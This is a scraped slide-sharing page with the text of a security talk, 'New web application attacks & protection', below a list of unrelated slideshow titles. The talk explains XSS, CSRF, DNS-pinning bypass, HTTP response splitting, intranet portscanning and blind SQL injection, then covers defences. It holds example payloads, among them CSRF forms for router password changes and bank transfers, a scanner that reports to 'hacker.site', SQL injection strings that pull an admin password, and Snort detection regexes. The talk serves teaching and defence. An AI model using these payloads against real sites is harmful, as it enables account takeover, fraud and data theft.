Gen AI in Business - Global Trends Report 2024.pdf
 
What is Artificial Intelligence?????????
What is Artificial Intelligence?????????What is Artificial Intelligence?????????
What is Artificial Intelligence?????????
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptxThe Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
The Role of FIDO in a Cyber Secure Netherlands: FIDO Paris Seminar.pptx
 
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptxMerck Moving Beyond Passwords: FIDO Paris Seminar.pptx
Merck Moving Beyond Passwords: FIDO Paris Seminar.pptx
 
How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
Tampa BSides - Chef's Tour of Microsoft Security Adoption Framework (SAF)
 

New web attacks-nethemba

  • 1. New web application attacks & protection We're entering a time when XSS has become the new Buffer Overflow and JavaScript Malware is the new shell code. Jeremiah Grossman          www.nethemba.com             www.nethemba.com      
  • 2. Cross Site Scripting (XSS) ● security exploit where information from one context, where it is not trusted, can be inserted into another context, where it is (common javascript injection) ● can be non-persistent (reflected) or persistent (stored) ● 70 % of all web applications (Jeremiah Grossman), 80% of all web applications (Rsnake) are vulnerable to the XSS attack          www.nethemba.com       
  • 3. Universal Cross Site Scripting (UXSS) ●exploits browser's vulnerabilities instead of XSS vulnerabilities of insecure web sites ●Acrobat Reader plugin is vulnerable to UXSS in #FDF, #XML, #XFDF parameters http://site/file.pdf#FDF=javascript:alert... ●Universal CSRF / session riding is possible http://site.com/file.pdf#FDF=http://host.com/ ●Possible Remote Code Execution (the memory overflow in FDF=javascript:document.write)          www.nethemba.com       
  • 4. Cross Site Request Forgery (CSRF) ● “session riding” - a client side attack that exploits implicit authentication mechanisms ● the attacker forces the victim's browser to create http requests to restricted resources ● this can be done without the victim's notice (using iframes) ● trigger for CSFR can be an XSS vulnerability or a social engineering trick (sending a mail with   malicious URL)        www.nethemba.com       
  • 5. Same Origin Policy (SOP) ● defines and limits various rights of JavaScript ● script can communicate only with its origin host (not with arbitrary http hosts) ● but there is an exception – the script can dynamically include elements like images from foreign (cross domain) hosts into the DOM tree of the document that contains JavaScript (this fact can be exploited for malicious purposes, e.g. portscanning)          www.nethemba.com       
  • 6. CSRF feasibility I. ● HTTP GET requests can be easily injected using <img>, <script> or <iframe> element ● <img src=”http://your_home_router/setup.cgi? your_new_password=”hacked”/> ● <script src=”http://your_home_router/setup.cgi? reset_configuration=”1” type=”text/javascript”></script> ● <iframe src=”http://freemail.com/sendmail.cgi?   to=spam_address&mesage=””></iframe>        www.nethemba.com       
  • 7. CSRF feasibility II. ● HTTP POST requests can be easily injected using HTML forms: <body onload=”document.CSRF.submit()”> <form name=”CSRF” method=”post” action=”https://your_favourite_bank” style=”display:none”> <input name=”my_account” value=”123456”/> <input name=”your_acount” value=”654321”/> <input name=”amount” value=”1000000”/> </form>   </body>        www.nethemba.com       
  • 8. CSRF feasibility III. ● HTTP POSTs can be injected also using AJAX if (!xmlhttp && typeof XMLHttpRequest!='undefined') { try { xmlhtttp = new XMLHttpRequest(); } catch (e) { xmlhttp=false; } xmlhttp.open(“POST”, “/”, true); xmlhttp.setRequestHeader(“Header”,”Value”); ... xmlhttp.send(“data”); xmlhttp.close();          www.nethemba.com       
  • 9. XSS / CSRF impact I. ● session stealing ● bruteforce basic auth credentials ● scan for available browser extensions ● bruteforce visited resources ● network sweeper / portscanner ● fingerprinting of intranet hosts ● request builder / google Search          www.nethemba.com       
  • 10. XSS / CSRF impact II. ● Attacking intranet servers (exploiting unpatched vulnerabilities, opening home networks, leaking intranet content) ● The complete control over CSRF-vulnerable websites (which do not implement CSRF countermeasures) ● There is a possibility to break the same-origin policy by undermining DNS pinning!!!          www.nethemba.com       
  • 11. Breaking the same-origin policy by undermining DNS-pinning I. ● the victim loads the script from www.attacker.org ● the attacker changes the DNS entry of www.attacker.org to 10.10.10.10 ● the attacker also quits the web server that was running (or add a dynamic firewall rule to reject further connections) ● the script uses a timed event (setIntervall or setTimeout) to load a web page from   www.attacker.org        www.nethemba.com       
  • 12. Breaking the same-origin policy by undermining DNS pinning II. ● the web browser tries to connect the IP which is bound to www.attacker.org from the previous request – this connection attempt is rejected ● because the connection was rejected, the browsers drops the DNS pinning and does a new DNS lookup request, resulting in 10.10.10.10 ● the script is now able to access the intranet   server's content and leak it to the outside!!!        www.nethemba.com       
  • 13. Prototype Hijacking ● JavaScript methods (e.g. XMLHttpRequest) can be easily cloned – every cloned object will be a wrapper clone and not a clone of the original one ● var xmlreqc = XMLHttpRequest; XMLHttpRequest = function() { this.xml = new xmlreqc(); return this; } ● MITM is possible (it is possible to dynamically intercept all data or modify it by using any   function)        www.nethemba.com       
  • 14. Cache poisoning / HTTP Response splitting ● with CRLF injection it is possible to force a cache device (proxy) to cache the crafted poisoned requests as opposed to real data ● this is done via the use of 3 manually set headers (“Last-Modified”, “Cache-Control”, “Pragma”) ● GET /resp_split.php?page=http://site%0d%0aHTTP/1.1 %20%20%20OK%0d%0aLast- modified:%20Sun,%2030%20Aug%202020%2023:   59:59%20GMT%0d%aContent-Type.....        www.nethemba.com       
  • 15. Portscanning the intranet I. ● using Javascript (the script can include images, iframes, remote scripts, ..) - time-out functions and eventhandlers (onload/onerror) are used to determine if the host exist and the given port is open – but we need to know an IP range to scan) ● java-applet can be used to obtain the IP address (IP range) of the computer that currently executes the web browser ● fingerprinting is also possible (by requesting URLs that are specific for a specific device, server or   application)        www.nethemba.com       
  • 16. Portscanning the intranet II. ● without Javascript for ($i = 1; $i < 256; $i++) { echo ' <p>testing ip <b>192.168.1.'.$i.'</b></p> <link rel=”stylesheet” type=”text/css” href=”http://192.168.1.'.$i.'/'”/> <img src=”http://hacker.site/scan.php? ip=192.168.1.'.$i.'&s='.time().' />'; flush (); sleep(3); } ● the page loading would wait for the <link> tag to   be processed before rendering the rest of page        www.nethemba.com       
  • 17. Portscanning the intranet III. ● using “Socket” in flash browser plugin ● from Flash documentation: “The socket class enables ActionScript code to make socket connections and to read and write data.”          www.nethemba.com       
  • 18. Blind SQL injection I. ● SQL injection when the application does not return error messages ● But http://www.thecompany.com/script?articleID=3 AND 1=1 returns different answer than http://www.thecompany.com/script?articleID=3 AND 1=0 ● we use this behavior to ask the database server   only true/false questions !        www.nethemba.com       
  • 19. Blind SQL injection II. ● http://www.thecompany.com/script?articleID=3 AND ascii(lower(substring(SELECT user_password FROM user WHERE user_name='admin'),1,1)) = 111 ● To avoid using of apostrophes we can use hexadecimal representation ('admin' = 0x61646D696E, 'root' = 0x726F6F74, 'administrator' = 0x61646D696E6973747261746F72 ●  Blind SQL injection can  be fully automatized      www.nethemba.com       
  • 20. Blind SQL Injection III. ● what if it is not possible to find a difference with two conditions? ● we use TIME DELAY technique! ● SELECT IF (user='root'), BENCHMARK(1000000,MD5 ('x')),NULL) FROM user ● it can be slow, but works!          www.nethemba.com       
  • 21. Cross Site Scripting (XSS) protection ● encode (HTML quote) all user-supplied HTML special characters, thereby preventing them from being interpreted as HTML ● filter all user-suplied HTML metacharacters (snort regexp /((%3C)|<)[^n]+((%3E)|>)/i) ● tie session cookies to the IP address of the user who originally logged (anti-stealing protection) – not sufficient where the attacker is behind the same NAT IP ●  disable JavaScript (client-side) scripts        www.nethemba.com       
  • 22. Cross Site Request Forgery (CSRF) protection ● switching from a persistent authentication method (e.g.cookie or HTTP auth) to a transient authentication (e.g. hidden field provided on every form) ● include a secret, user-specific token in forms that is verified in addition to the cookie ● “double submit” cookies (AJAX) ● using Captcha (Completely Automated Public Turing test to tell Computers and Humans Apart) ●  using e-mail or SMS verification        www.nethemba.com       
  • 23. SQL injection protection I. ● filter all user supplied metacharacters (the single quote (') or the double-dash (--), snort regexp /((%3D)|(=))[^n]*((%27)|(')|(--)| (%3B)|(;))/i – DBI::quote in perl, mysql_real_escape_string in PHP ● bind sql parameters to the SQL query via APIs (DBI::prepare in Perl, mysql_stmt_bind_param in PHP, PreparedStatement class in Java,   .AddWithValue in C#)        www.nethemba.com       
  • 24. SQL injection protection II. ● “the least-privilege” concept for all tables/databases ● using stored procedures (user input is filtered by parameterizing input parameters, an application would have execute access to a stored procedure, but no access to the base tables) ● rather than blacklisting known bad input, is to only allow (whitelisting) known good input          www.nethemba.com       
  • 25. Web Application Firewalls (WAFs) ● when you choose your WAF read http://www.webappsec.org/projects/wafec/ ● mod_security (perhaps the best opensource WAF, strongly recommended) ● URLscan (Microsoft IIS ISAPI filter) ● commercial products (NGSecureWeb, SecureIIS, Teros, TrafficShield from F5, SingleKey, Profense, NC-2000, iSecureWeb,   Interdo from Kavado, BreachGate WebDefend)        www.nethemba.com       
  • 26. References I. ● Martin Johns: “A First Approach to Counter “JavaScript Malware” ● Stefano Di Paola: “Subverting AJAX” ● Illia Alshanetsky: “Networking Scanning with HTTP without JavaScript” ● http://www.gnucitizen.org ● http://www.jumperz.net ● http://polyboy.net/xss/dnsslurp.html          www.nethemba.com       
  • 27. References II. ● http://www.spidynamics.com/whitepapers/Blind_SQ ● http://en.wikipedia.org/wiki/Cross-site_request_forge ● http://en.wikipedia.org/wiki/Cross_site_scripting blind SQL injection tools: ● http://sqlmap.sourceforge.net ● http://www.sqlpowerinjector.com ● http://reversing.org/node/view/11/          www.nethemba.com       
  • 28. Thank you for listening! Ing. Pavol Lupták, CISSP, CEH nethemba@nethemba.com          www.nethemba.com